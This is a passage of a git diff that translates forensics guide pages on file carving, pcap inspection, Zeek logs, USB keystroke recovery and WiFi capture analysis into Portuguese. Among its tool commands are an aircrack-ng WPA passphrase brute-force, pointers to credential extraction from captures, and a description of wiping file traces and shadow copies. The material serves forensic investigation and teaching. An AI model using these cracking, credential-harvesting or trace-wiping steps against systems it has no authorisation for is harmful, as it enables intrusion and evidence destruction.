-You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them.
+Obviamente, existem maneiras de **"excluir com segurança" arquivos e parte dos logs sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
+Você pode notar que mesmo realizando essa ação, pode haver **outras partes onde a existência do arquivo ainda está registrada**, e isso é verdade, e parte do trabalho do profissional de forense é encontrá-las.
 
-## References
+## Referências
 
 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index cd9e13a58..095fc2a3d 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -2,94 +2,86 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Carving & Recovery tools
+## Ferramentas de Carving & Recuperação
 
-More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
-The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files.
+A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
 
 ### Binwalk 
 
-**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk).
-
-**Useful commands**:
+**Binwalk** é uma ferramenta para analisar arquivos binários para encontrar conteúdo embutido. É instalável via `apt` e seu código-fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
 
+**Comandos úteis**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
 binwalk -e file #Displays and extracts some files from the given file
 binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
-
 ### Foremost
 
-Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types.
-
+Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivo configurados por padrão.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
 #Discovered files will appear inside the folder "output"
 ```
-
 ### **Scalpel**
 
-**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract.
-
+**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração (_/etc/scalpel/scalpel.conf_) os tipos de arquivo que deseja que ele extraia.
 ```bash
 sudo apt-get install scalpel
 scalpel file.img -o output
 ```
-
 ### Bulk Extractor
 
-This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-
-This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do:
+Esta ferramenta vem dentro do kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
+Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-
-Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**).
+Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
 
 ### PhotoRec
 
-You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
+Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 
-It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for.
+Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivo** que deseja que o PhotoRec procure.
 
 ![](<../../../images/image (524).png>)
 
 ### binvis
 
-Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
+Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da ferramenta](https://binvis.io/#/).
 
-#### Features of BinVis
+#### Recursos do BinVis
 
-- Visual and active **structure viewer**
-- Multiple plots for different focus points
-- Focusing on portions of a sample
-- **Seeing stings and resources**, in PE or ELF executables e. g.
-- Getting **patterns** for cryptanalysis on files
-- **Spotting** packer or encoder algorithms
-- **Identify** Steganography by patterns
-- **Visual** binary-diffing
+- Visual e ativo **visualizador de estrutura**
+- Múltiplos gráficos para diferentes pontos de foco
+- Foco em porções de uma amostra
+- **Visualizando strings e recursos**, em executáveis PE ou ELF, por exemplo
+- Obtendo **padrões** para criptoanálise em arquivos
+- **Identificando** algoritmos de empacotamento ou codificação
+- **Identificar** Esteganografia por padrões
+- **Diferença** binária visual
 
-BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario.
+BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa-preta.
 
-## Specific Data Carving Tools
+## Ferramentas Específicas de Carving de Dados
 
 ### FindAES
 
-Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
 
-Download [here](https://sourceforge.net/projects/findaes/).
+Baixe [aqui](https://sourceforge.net/projects/findaes/).
 
-## Complementary tools
+## Ferramentas Complementares
 
-You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
-You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
+Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
+Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
index f076c885c..e9af1c059 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
@@ -1,74 +1,66 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-# Carving tools
+# Ferramentas de Carving
 
 ## Autopsy
 
-The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files.
+A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
 
 ## Binwalk 
 
-**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.  
-It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.  
-**Useful commands**:
-
+**Binwalk** é uma ferramenta para buscar arquivos binários como imagens e arquivos de áudio em busca de arquivos e dados incorporados. 
+Pode ser instalada com `apt`, no entanto, a [fonte](https://github.com/ReFirmLabs/binwalk) pode ser encontrada no github. 
+**Comandos úteis**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
 binwalk -e file #Displays and extracts some files from the given file
 binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
-
 ## Foremost
 
-Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types.
-
+Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivo configurados por padrão.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
 #Discovered files will appear inside the folder "output"
 ```
-
 ## **Scalpel**
 
-**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract.
-
+**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração \(_/etc/scalpel/scalpel.conf_\) os tipos de arquivo que deseja que ele extraia.
 ```bash
 sudo apt-get install scalpel
 scalpel file.img -o output
 ```
-
 ## Bulk Extractor
 
-This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-
-This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do:
+Esta ferramenta vem incluída no kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
+Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-
-Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\).
+Navegue por **todas as informações** que a ferramenta coletou \(senhas?\), **analise** os **pacotes** \(leia[ **análise de Pcaps**](../pcap-inspection/)\), procure por **domínios estranhos** \(domínios relacionados a **malware** ou **inexistentes**\).
 
 ## PhotoRec
 
-You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
+Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 
-It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for.
+Ele vem com versão GUI e CLI. Você pode selecionar os **tipos de arquivo** que deseja que o PhotoRec procure.
 
 ![](../../../images/image%20%28524%29.png)
 
-# Specific Data Carving Tools
+# Ferramentas Específicas de Carving de Dados
 
 ## FindAES
 
-Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+Procura por chaves AES pesquisando suas programações de chave. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
 
-Download [here](https://sourceforge.net/projects/findaes/).
+Baixe [aqui](https://sourceforge.net/projects/findaes/).
 
-# Complementary tools
+# Ferramentas Complementares
 
-You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal.  
-You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
+Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.  
+Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
index 9e6ebd08d..28ad42e56 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
@@ -1,32 +1,26 @@
-# Pcap Inspection
+# Inspeção de Pcap
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 > [!NOTE]
-> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.
+> Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais novo e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, para poder trabalhar com ele em algumas outras ferramentas.
 
-## Online tools for pcaps
+## Ferramentas online para pcaps
 
-- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
-- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)
-- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
+- Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
+- Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
+- Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
 
-## Extract Information
+## Extrair Informações
 
-The following tools are useful to extract statistics, files, etc.
+As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
 
 ### Wireshark
 
 > [!NOTE]
-> **If you are going to analyze a PCAP you basically must to know how to use Wireshark**
+> **Se você vai analisar um PCAP, basicamente deve saber como usar o Wireshark**
 
-You can find some Wireshark tricks in:
+Você pode encontrar algumas dicas do Wireshark em:
 
 {{#ref}}
 wireshark-tricks.md
@@ -34,111 +28,93 @@ wireshark-tricks.md
 
 ### Xplico Framework
 
-[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
-
-**Install**
+[**Xplico** ](https://github.com/xplico/xplico)_(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todo o conteúdo HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
 
+**Instalar**
 ```bash
 sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
 sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
 sudo apt-get update
 sudo apt-get install xplico
 ```
-
-**Run**
-
+**Executar**
 ```
 /etc/init.d/apache2 restart
 /etc/init.d/xplico start
 ```
+Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
 
-Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
-
-Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
+Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça o upload** do arquivo pcap.
 
 ### NetworkMiner
 
-Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\
-This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way.
+Como o Xplico, é uma ferramenta para **analisar e extrair objetos de pcaps**. Tem uma edição gratuita que você pode **baixar** [**aqui**](https://www.netresec.com/?page=NetworkMiner). Funciona com **Windows**.\
+Esta ferramenta também é útil para obter **outras informações analisadas** dos pacotes, a fim de saber o que estava acontecendo de uma forma **mais rápida**.
 
 ### NetWitness Investigator
 
-You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\
-This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**.
+Você pode baixar [**NetWitness Investigator daqui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona no Windows)**.\
+Esta é outra ferramenta útil que **analisa os pacotes** e organiza as informações de uma maneira útil para **saber o que está acontecendo internamente**.
 
 ### [BruteShark](https://github.com/odedshimon/BruteShark)
 
-- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...)
-- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
-- Build a visual network diagram (Network nodes & users)
-- Extract DNS queries
-- Reconstruct all TCP & UDP Sessions
+- Extraindo e codificando nomes de usuários e senhas (HTTP, FTP, Telnet, IMAP, SMTP...)
+- Extrair hashes de autenticação e quebrá-los usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
+- Construir um diagrama de rede visual (Nós e usuários da rede)
+- Extrair consultas DNS
+- Reconstruir todas as sessões TCP e UDP
 - File Carving
 
 ### Capinfos
-
 ```
 capinfos capture.pcap
 ```
-
 ### Ngrep
 
-If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters:
-
+Se você está **procurando** **algo** dentro do pcap, pode usar **ngrep**. Aqui está um exemplo usando os principais filtros:
 ```bash
 ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
 ```
-
 ### Carving
 
-Using common carving techniques can be useful to extract files and information from the pcap:
+Usar técnicas comuns de carving pode ser útil para extrair arquivos e informações do pcap:
 
 {{#ref}}
 ../partitions-file-systems-carving/file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Capturing credentials
+### Capturando credenciais
 
-You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
+Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Check Exploits/Malware
+## Verificar Exploits/Malware
 
 ### Suricata
 
-**Install and setup**
-
+**Instalar e configurar**
 ```
 apt-get install suricata
 apt-get install oinkmaster
 echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
 oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
 ```
-
-**Check pcap**
-
+**Verificar pcap**
 ```
 suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
 ```
-
 ### YaraPcap
 
-[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that
+[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) é uma ferramenta que
 
-- Reads a PCAP File and Extracts Http Streams.
-- gzip deflates any compressed streams
-- Scans every file with yara
-- Writes a report.txt
-- Optionally saves matching files to a Dir
+- Lê um arquivo PCAP e extrai fluxos Http.
+- gzip descomprime quaisquer fluxos comprimidos
+- Escaneia cada arquivo com yara
+- Escreve um report.txt
+- Opcionalmente salva arquivos correspondentes em um diretório
 
-### Malware Analysis
+### Análise de Malware
 
-Check if you can find any fingerprint of a known malware:
+Verifique se você consegue encontrar alguma impressão digital de um malware conhecido:
 
 {{#ref}}
 ../malware-analysis.md
@@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware:
 
 ## Zeek
 
-> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.
+> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio da segurança, incluindo medição de desempenho e solução de problemas.
 
-Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are.
-
-### Connections Info
+Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão.
 
+### Informações de Conexões
 ```bash
 #Get info about longest connections (add "grep udp" to see only udp traffic)
 #The longest connection might be of malware (constant reverse shell?)
@@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
 ```
-
-### DNS info
-
+### Informações DNS
 ```bash
 #Get info about each DNS request performed
 cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
@@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
 #See top DNS domain requested with rita
 rita show-exploded-dns -H --limit 10 zeek_logs
 ```
-
-## Other pcap analysis tricks
+## Outras dicas de análise de pcap
 
 {{#ref}}
 dnscat-exfiltration.md
@@ -237,10 +209,4 @@ usb-keystrokes.md
 
 ​
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
index 9f63fbab3..76ecad67b 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
@@ -1,12 +1,12 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection.
+Se você tiver um pcap de uma conexão USB com muitas interrupções, provavelmente é uma conexão de teclado USB.
 
-A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
+Um filtro do wireshark como este pode ser útil: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
 
-It could be important to know that the data that starts with "02" is pressed using shift.
+Pode ser importante saber que os dados que começam com "02" são pressionados usando shift.
 
-You can read more information and find some scripts about how to analyse this in:
+Você pode ler mais informações e encontrar alguns scripts sobre como analisar isso em:
 
 - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
 - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
index 9c3dba419..d4bb7788d 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
@@ -1,17 +1,15 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-If you have a pcap containing the communication via USB of a keyboard like the following one:
+Se você tiver um pcap contendo a comunicação via USB de um teclado como o seguinte:
 
 ![](<../../../images/image (613).png>)
 
-You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication:
-
+Você pode usar a ferramenta [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) para obter o que foi escrito na comunicação:
 ```bash
 tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
 python3 usbkeyboard.py ./keystrokes.txt
 ```
-
-You can read more information and find some scripts about how to analyse this in:
+Você pode ler mais informações e encontrar alguns scripts sobre como analisar isso em:
 
 - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
 - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
index 36413cf70..26ed9ad18 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
@@ -1,38 +1,36 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-# Check BSSIDs
+# Verifique os BSSIDs
 
-When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_:
+Quando você receber uma captura cujo tráfego principal é Wifi usando WireShark, você pode começar a investigar todos os SSIDs da captura com _Wireless --> WLAN Traffic_:
 
 ![](<../../../images/image (424).png>)
 
 ![](<../../../images/image (425).png>)
 
-## Brute Force
-
-One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`:
+## Força Bruta
 
+Uma das colunas daquela tela indica se **alguma autenticação foi encontrada dentro do pcap**. Se esse for o caso, você pode tentar forçar a autenticação usando `aircrack-ng`:
 ```bash
 aircrack-ng -w pwds-file.txt -b  file.pcap
 ```
+Por exemplo, ele irá recuperar a passphrase WPA que protege um PSK (pre shared-key), que será necessária para descriptografar o tráfego mais tarde.
 
-For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
+# Dados em Beacons / Canal Lateral
 
-# Data in Beacons / Side Channel
+Se você suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` para procurar dentro dos pacotes filtrados por strings suspeitas.
 
-If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
+# Encontrar Endereços MAC Desconhecidos em uma Rede Wifi
 
-# Find Unknown MAC Addresses in A Wifi Network
-
-The following link will be useful to find the **machines sending data inside a Wifi Network**:
+O seguinte link será útil para encontrar as **máquinas enviando dados dentro de uma Rede Wifi**:
 
 - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
 
-If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
+Se você já conhece **endereços MAC, pode removê-los da saída** adicionando verificações como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
 
-Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
+Uma vez que você tenha detectado **endereços MAC desconhecidos** se comunicando dentro da rede, você pode usar **filtros** como o seguinte: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar seu tráfego. Note que os filtros ftp/http/ssh/telnet são úteis se você tiver descriptografado o tráfego.
 
-# Decrypt Traffic
+# Descriptografar Tráfego
 
 Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
 
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index ec397e99a..d1780f91b 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,77 +1,61 @@
-# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
